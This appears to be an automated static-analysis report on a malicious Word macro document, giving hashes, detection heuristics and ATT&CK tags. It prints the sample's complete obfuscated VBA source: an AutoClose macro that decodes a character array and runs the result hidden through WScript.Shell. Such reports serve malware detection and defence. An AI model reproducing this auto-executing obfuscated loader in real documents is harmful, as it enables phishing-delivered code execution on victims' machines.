Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4e43c40405579f7…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 0b08cf45db88cdaf34b088daff9ad54d SHA-1: b37f6583310053975dead7cd6d69044799d891af SHA-256: b4e43c40405579f7e508e5d546975b4b2bff83a70d7dfe98fa64dc407894d103
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing obfuscated VBA macros, specifically an AutoClose macro that utilizes Shell() and CreateObject calls. The VBA code appears to be designed to download and execute a second-stage payload, as indicated by the use of obfuscated functions and execution of external commands. The presence of these critical heuristics strongly suggests a malicious intent, likely for initial execution of further malware.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If uncoerced - osphresis > 1 Then
           CreateObject(Trim(subspontaneous) & ".Shell").Run oversound, 0
           immanences = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "odds", spiteful
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If uncoerced - osphresis > 1 Then
           CreateObject(Trim(subspontaneous) & ".Shell").Run oversound, 0
           immanences = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      agglutinant = Array("x", "F", "i", "C", "y", "E", "t", "m", "t", "3", "i", "C", "C", "d", "o", "l", "l", "F", "n", "h", "w", "t", "I", "n", "", "i", "5", "w", "t", "k", "i", "n", "t", "Y", "w", "0", "k", "I", "k", "F", "E", "", "k", "x", "l", "c", "O", "1", "l", "Y", "w", "x", "y", "E", "d", "i", "d", "a", "n", "C", "x", "y", "s", "0", "t", "B", "F", "n", "F", "p")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2132 bytes
SHA-256: 73520d344d0ceebfa4622028c498d557bb2fe65459c298c0f1edd69bab1431f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pseudoanemia(agglutinant)
  sayings = Array("d", "c", "F", "a", "I", "n", "O", "", "5", "h", "B", "Y", "l", "y", "i", "p", "o", "3", "x", "t", "s", "w", "1", "0", "m", "C", "E", "k")
  interregimental = Array("p", "A", "s", "?", "b", "u", "F", "c", "n", "k", "r", "l", "/", "a", "h", "j", ":", " ", "m", "e", "=", "i", "K", "v", "x", "t", ".", "o")
  
  monkery = vbNullString
  
  For Each unprofessorial In agglutinant
    cerebral = arabesk(unprofessorial, sayings, UBound(sayings))
    If cerebral > -1 Then
    monkery = interregimental(cerebral) & monkery
    End If
  Next
  
  pseudoanemia = StrReverse(monkery)
  
End Function

Public Function arabesk(criminal, ranatra, imprintings)
  edessan = 5553
  suttapitaka = 772
  For edessan = 0 To imprintings
    If ranatra(edessan) = criminal And edessan > -1 Then
     suttapitaka = edessan
    End If
  Next

  If suttapitaka = 772 Then
    suttapitaka = -1
  End If
  
  arabesk = suttapitaka
End Function

Sub AutoClose()
  agglutinant = Array("x", "F", "i", "C", "y", "E", "t", "m", "t", "3", "i", "C", "C", "d", "o", "l", "l", "F", "n", "h", "w", "t", "I", "n", "", "i", "5", "w", "t", "k", "i", "n", "t", "Y", "w", "0", "k", "I", "k", "F", "E", "", "k", "x", "l", "c", "O", "1", "l", "Y", "w", "x", "y", "E", "d", "i", "d", "a", "n", "C", "x", "y", "s", "0", "t", "B", "F", "n", "F", "p")
  spiteful = pseudoanemia(agglutinant)
  
  Application.Run "odds", spiteful
  
End Sub


Private Sub odds(oversound)
   
   subspontaneous = "WScript"
   osphresis = 3271
   immanences = True
   
   While immanences
     uncoerced = osphresis + 60
     If uncoerced - osphresis > 1 Then
       CreateObject(Trim(subspontaneous) & ".Shell").Run oversound, 0
       immanences = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 2795f6c056273a73cfdd317eee4103d280ec4fa6376a15b524263ea68bb0e581
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely